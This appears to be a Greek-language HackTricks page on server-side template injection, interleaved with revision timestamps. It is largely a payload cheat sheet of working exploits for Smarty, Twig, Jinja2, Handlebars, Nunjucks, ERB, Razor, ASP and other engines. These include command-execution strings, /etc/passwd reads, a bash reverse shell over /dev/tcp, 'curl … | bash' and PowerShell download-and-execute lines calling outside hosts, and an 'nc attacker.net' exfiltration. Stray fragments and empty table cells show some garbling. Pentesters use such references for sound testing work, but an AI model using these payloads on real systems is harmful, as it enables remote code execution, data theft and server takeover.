2021-06-25 12:34:30 +00:00
```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2024-02-10 22:40:18 +00:00
* Στην ενότητα Smarty του [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
2022-05-01 13:25:53 +00:00
### Twig (PHP)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
* `{{1/0}} = Error`
* `{{foobar}} Nothing`
2021-06-25 12:34:30 +00:00
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
2022-10-03 13:43:01 +00:00
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
2021-06-25 12:34:30 +00:00
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
2024-01-07 19:40:00 +00:00
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
2021-06-25 12:34:30 +00:00
```
2024-02-10 22:40:18 +00:00
**Twig - Μορφή προτύπου**
2021-06-25 12:34:30 +00:00
```php
$output = $twig > render (
2024-02-10 22:40:18 +00:00
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
2021-06-25 12:34:30 +00:00
);
$output = $twig > render (
2024-02-10 22:40:18 +00:00
"Dear {first_name}",
array("first_name" => $user.first_name)
2021-06-25 12:34:30 +00:00
);
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2024-02-10 22:40:18 +00:00
* Στην ενότητα Twig και Twig (Sandboxed) του [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP)
Το Plates είναι μια μηχανή templating που είναι εγγενής στο PHP, αντλώντας έμπνευση από το Twig. Ωστόσο, σε αντίθεση με το Twig, το οποίο εισάγει μια νέα σύνταξη, το Plates αξιοποιεί τον εγγενή κώδικα PHP στα templates, καθιστώντας το διαισθητικό για τους προγραμματιστές PHP.
2024-04-06 18:31:47 +00:00
Controller:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
Σελίδα πρότυπο:
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
Layout template:
```html
<html>
2024-02-10 22:40:18 +00:00
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2024-02-06 14:12:47 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
2024-02-10 22:40:18 +00:00
### PHPlib και HTML\_Template\_PHPLIB (PHP)
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) είναι το ίδιο με το PHPlib αλλά μεταφερμένο στο Pear.
`authors.tpl`
```html
<html>
2024-02-10 22:40:18 +00:00
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
2024-02-10 22:40:18 +00:00
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
2024-02-10 22:40:18 +00:00
</tbody>
</table>
</body>
</html>
```
`authors.php`
```php
<?php
//we want to display this author list
$authors = array(
2024-02-10 22:40:18 +00:00
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
2024-02-10 22:40:18 +00:00
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
2024-02-06 14:12:47 +00:00
2022-05-01 13:25:53 +00:00
### Jade (NodeJS)
2021-06-25 12:34:30 +00:00
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2021-06-25 12:34:30 +00:00
2024-02-10 22:40:18 +00:00
* Στην ενότητα Jade του [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) μη-συμπληρωματική μηχανή templating PHP, που χρησιμοποιεί XML tags για να διαιρέσει ένα έγγραφο σε διάφορα μέρη
```xml
<patTemplate:tmpl name="page">
2024-02-10 22:40:18 +00:00
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2024-02-06 14:12:47 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)
2022-05-01 13:25:53 +00:00
### Handlebars (NodeJS)
Διαδρομή Πλοήγησης (περισσότερες πληροφορίες [εδώ](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
2021-02-03 09:46:19 +00:00
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
2024-02-10 22:40:18 +00:00
* \= Σφάλμα
* ${7\*7} = ${7\*7}
2024-02-10 22:40:18 +00:00
* Τίποτα
2021-06-25 12:34:30 +00:00
```java
{{#with "s" as |string|}}
2024-02-10 22:40:18 +00:00
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
2022-05-01 13:25:53 +00:00
### JsRender (NodeJS)
2020-12-01 16:50:24 +00:00
| **Πρότυπο** | **Περιγραφή** |
| ------------ | --------------------------------------- |
| | Αξιολόγηση και απόδοση εξόδου |
| | Αξιολόγηση και απόδοση HTML κωδικοποιημένου εξόδου |
| | Σχόλιο |
| και | Επιτρέπεται ο κώδικας (απενεργοποιημένο από προεπιλογή) |
2020-12-01 16:50:24 +00:00
* \= 49
2020-12-01 16:50:24 +00:00
**Πλευρά Πελάτη**
2021-06-25 12:34:30 +00:00
```python
2020-12-01 16:50:24 +00:00
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
**Εξυπηρετητής Πλευρά**
2020-12-01 16:50:24 +00:00
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2020-12-01 16:50:24 +00:00
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
2022-05-01 13:25:53 +00:00
### PugJs (NodeJS)
2021-01-09 10:15:51 +00:00
2021-01-10 15:09:49 +00:00
* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
2021-12-16 22:42:47 +00:00
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
2021-01-10 15:09:49 +00:00
**Παράδειγμα απόδοσης πλευράς διακομιστή**
2021-06-25 12:34:30 +00:00
```javascript
2021-01-10 15:09:49 +00:00
var pugjs = require('pug');
home = pugjs.render(injected_page)
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2021-01-09 10:15:51 +00:00
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
2022-05-01 13:25:53 +00:00
### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
2022-02-01 22:03:45 +00:00
2022-02-09 16:22:44 +00:00
* \{{7\*7\}} = 49
* \{{foo\}} = Χωρίς έξοδο
2022-02-01 22:03:45 +00:00
* \#{7\*7} = #{7\*7}
2024-02-10 22:40:18 +00:00
* \{{console.log(1)\}} = Σφάλμα
2022-02-01 22:03:45 +00:00
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2022-02-01 22:03:45 +00:00
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
2022-05-01 13:25:53 +00:00
### ERB (Ruby)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Σφάλμα`
2021-06-25 12:34:30 +00:00
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2021-06-25 12:34:30 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
### Slim (Ruby)
2021-06-25 12:34:30 +00:00
* `{ 7 * 7 }`
```
2021-06-25 12:34:30 +00:00
{ %x|env| }
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
2022-05-01 13:25:53 +00:00
### Python
2021-06-25 16:27:28 +00:00
Δείτε την παρακάτω σελίδα για να μάθετε κόλπα σχετικά με **την εκτέλεση αυθαίρετων εντολών παρακάμπτοντας τα sandboxes** στην python:
2021-06-25 16:27:28 +00:00
2022-05-16 08:29:00 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
2021-06-25 16:27:28 +00:00
2022-05-01 13:25:53 +00:00
### Tornado (Python)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{foobar}} = Error`
* `{{7*'7'}} = 7777777`
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
{% import foobar %} = Error
2022-02-09 16:22:44 +00:00
{% import os %}
2022-09-26 09:52:47 +00:00
2022-10-03 13:43:01 +00:00
{% import os %}
2022-12-09 14:47:58 +00:00
{% endraw %}
2023-01-13 17:40:30 +00:00
2023-03-05 22:20:47 +00:00
2024-04-06 18:31:47 +00:00
2022-12-09 14:47:58 +00:00
{{os.system('whoami')}}
2022-04-06 08:57:29 +00:00
{{os.system('whoami')}}
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2024-02-06 14:12:47 +00:00
* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
2022-05-01 13:25:53 +00:00
### Jinja2 (Python)
2021-06-25 12:34:30 +00:00
2024-02-10 22:40:18 +00:00
[Επίσημη ιστοσελίδα](http://jinja.pocoo.org)
> Το Jinja2 είναι μια πλήρης μηχανή προτύπων για Python. Έχει πλήρη υποστήριξη unicode, μια προαιρετική ενσωματωμένη εκτελεστική περιβάλλον sandbox, είναι ευρέως χρησιμοποιούμενη και έχει άδεια BSD.
* `{{7*7}} = Error`
* `${7*7} = ${7*7}`
* `{{foobar}} Nothing`
2021-06-25 12:34:30 +00:00
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
2022-04-06 08:57:29 +00:00
* `<div data-gb-custom-block data-tag="debug"></div>`
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
{% debug %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2022-06-18 20:54:28 +00:00
2024-04-06 18:31:47 +00:00
{{settings.SECRET_KEY}}
2021-06-25 12:34:30 +00:00
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
**Jinja2 - Μορφή προτύπου**
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% extends "layout.html" %}
{% block body %}
2024-02-10 22:40:18 +00:00
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
2021-06-25 12:34:30 +00:00
{% endblock %}
2022-02-09 16:22:44 +00:00
{% endraw %}
```
[**RCE που δεν εξαρτάται από**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
2021-06-25 12:34:30 +00:00
```
**Περισσότερες λεπτομέρειες σχετικά με το πώς να εκμεταλλευτείτε το Jinja**:
2021-06-25 12:34:30 +00:00
2022-07-20 01:03:41 +00:00
{% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md](jinja2-ssti.md)
{% endcontent-ref %}
2021-06-07 09:30:58 +00:00
Άλλες payloads στο [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
2024-02-06 14:12:47 +00:00
2022-05-01 13:25:53 +00:00
### Mako (Python)
2021-06-25 12:34:30 +00:00
```python
2021-06-07 09:30:58 +00:00
<%
import os
x=os.popen('id').read()
%>
${x}
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2024-02-06 14:12:47 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
2022-05-01 13:25:53 +00:00
### Razor (.Net)
2020-07-19 21:53:59 +00:00
2024-02-10 22:40:18 +00:00
* `@(2+2) <= Επιτυχία`
* `@() <= Επιτυχία`
* `@("{{code}}") <= Επιτυχία`
* `@ <=Επιτυχία`
2024-02-10 22:40:18 +00:00
* `@{} <= ΣΦΑΛΜΑ!`
* `@{ <= ΣΦΑΛΜΑ!`
2020-07-19 21:53:59 +00:00
* `@(1+2)`
* `@( //C#Code )`
2022-01-06 11:03:56 +00:00
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
2020-07-19 21:53:59 +00:00
Η μέθοδος `.NET` `System.Diagnostics.Process.Start` μπορεί να χρησιμοποιηθεί για να ξεκινήσει οποιαδήποτε διαδικασία στον διακομιστή και έτσι να δημιουργήσει ένα webshell. Μπορείτε να βρείτε ένα παράδειγμα ευάλωτης εφαρμογής ιστού στο [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
2020-07-19 21:53:59 +00:00
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2020-07-19 21:53:59 +00:00
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
2020-07-19 21:53:59 +00:00
2022-05-01 13:25:53 +00:00
### ASP
2022-02-03 15:39:58 +00:00
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
2024-02-10 22:40:18 +00:00
* `<%= foo %>` = Τίποτα
* `<%= response.write(date()) %>` = \<Ημερομηνία>
2024-02-06 14:12:47 +00:00
```xml
2022-02-03 15:39:58 +00:00
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
2024-02-10 22:40:18 +00:00
**Περισσότερες Πληροφορίες**
2022-02-03 15:39:58 +00:00
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
2022-05-01 13:25:53 +00:00
### Mojolicious (Perl)
2020-07-26 18:06:17 +00:00
Ακόμα και αν είναι perl, χρησιμοποιεί ετικέτες όπως ERB στη Ruby.
2020-07-26 18:06:17 +00:00
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Error`
```
2020-07-26 18:06:17 +00:00
<%= perl code %>
<% perl code %>
```
### SSTI in GO
2024-04-06 18:31:47 +00:00
Στη μηχανή προτύπων του Go, η επιβεβαίωση της χρήσης της μπορεί να γίνει με συγκεκριμένα payloads:
2020-07-26 18:06:17 +00:00
* `{{ . }}`: Αποκαλύπτει τη δομή δεδομένων εισόδου. Για παράδειγμα, αν περαστεί ένα αντικείμενο με ένα χαρακτηριστικό `Password`, το `{{ .Password }}` θα μπορούσε να το εκθέσει.
* `{{printf "%s" "ssti" }}`: Αναμένεται να εμφανίσει τη συμβολοσειρά "ssti".
* `{{html "ssti"}}`, `{{js "ssti"}}`: Αυτά τα payloads θα πρέπει να επιστρέφουν "ssti" χωρίς να προσθέτουν "html" ή "js". Περαιτέρω οδηγίες μπορούν να εξερευνηθούν στην τεκμηρίωση του Go [εδώ](https://golang.org/pkg/text/template).
2021-05-27 10:20:50 +00:00
**XSS Exploitation**
2022-02-03 00:17:18 +00:00
Με το πακέτο `text/template`, το XSS μπορεί να είναι απλό εισάγοντας το payload απευθείας. Αντίθετα, το πακέτο `html/template` κωδικοποιεί την απάντηση για να το αποτρέψει (π.χ., `{{"<script>alert(1)</script>"}}` έχει ως αποτέλεσμα `&lt;script&gt;alert(1)&lt;/script&gt;`). Παρ' όλα αυτά, ο ορισμός και η κλήση προτύπων στο Go μπορούν να παρακάμψουν αυτή την κωδικοποίηση: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
2022-02-03 00:17:18 +00:00
vbnet Copy code
2022-02-03 00:17:18 +00:00
**RCE Exploitation**
2022-02-03 00:17:18 +00:00
Η εκμετάλλευση RCE διαφέρει σημαντικά μεταξύ `html/template` και `text/template`. Το module `text/template` επιτρέπει την άμεση κλήση οποιασδήποτε δημόσιας συνάρτησης (χρησιμοποιώντας την τιμή “call”), κάτι που δεν επιτρέπεται στο `html/template`. Η τεκμηρίωση για αυτά τα modules είναι διαθέσιμη [εδώ για html/template](https://golang.org/pkg/html/template/) και [εδώ για text/template](https://golang.org/pkg/text/template/).
2024-04-06 18:31:47 +00:00
Για RCE μέσω SSTI στο Go, μπορούν να κληθούν μέθοδοι αντικειμένων. Για παράδειγμα, αν το παρεχόμενο αντικείμενο έχει μια μέθοδο `System` που εκτελεί εντολές, μπορεί να εκμεταλλευτεί όπως `{{ .System "ls" }}`. Η πρόσβαση στον πηγαίο κώδικα είναι συνήθως απαραίτητη για να εκμεταλλευτεί αυτό, όπως στο δοθέν παράδειγμα:
2022-02-03 00:17:18 +00:00
```go
func (p Person) Secret (test string) string {
2024-02-10 22:40:18 +00:00
out, _ := exec.Command(test).CombinedOutput()
return string(out)
2022-02-03 00:17:18 +00:00
}
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2022-02-03 00:17:18 +00:00
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
2021-05-27 10:20:50 +00:00
2024-02-10 22:40:18 +00:00
### Περισσότερες Εκμεταλλεύσεις
2021-06-25 12:34:30 +00:00
Ελέγξτε το υπόλοιπο του [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) για περισσότερες εκμεταλλεύσεις. Επίσης, μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες σχετικά με ετικέτες στο [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
## BlackHat PDF
{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
2024-02-10 22:40:18 +00:00
## Σχετική Βοήθεια
Αν νομίζετε ότι θα μπορούσε να είναι χρήσιμο, διαβάστε:
* [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md)
* [Python magic functions](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
2024-02-10 22:40:18 +00:00
## Εργαλεία
2024-02-06 14:12:47 +00:00
* [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA)
* [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap)
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
2021-06-27 21:56:13 +00:00
## Λίστα Ανίχνευσης Brute-Force
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
2024-02-10 22:40:18 +00:00
## Πρακτική & Αναφορές
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
2024-02-06 14:12:47 +00:00
* [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
2022-04-28 16:01:33 +00:00
2022-10-25 15:56:49 +00:00
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
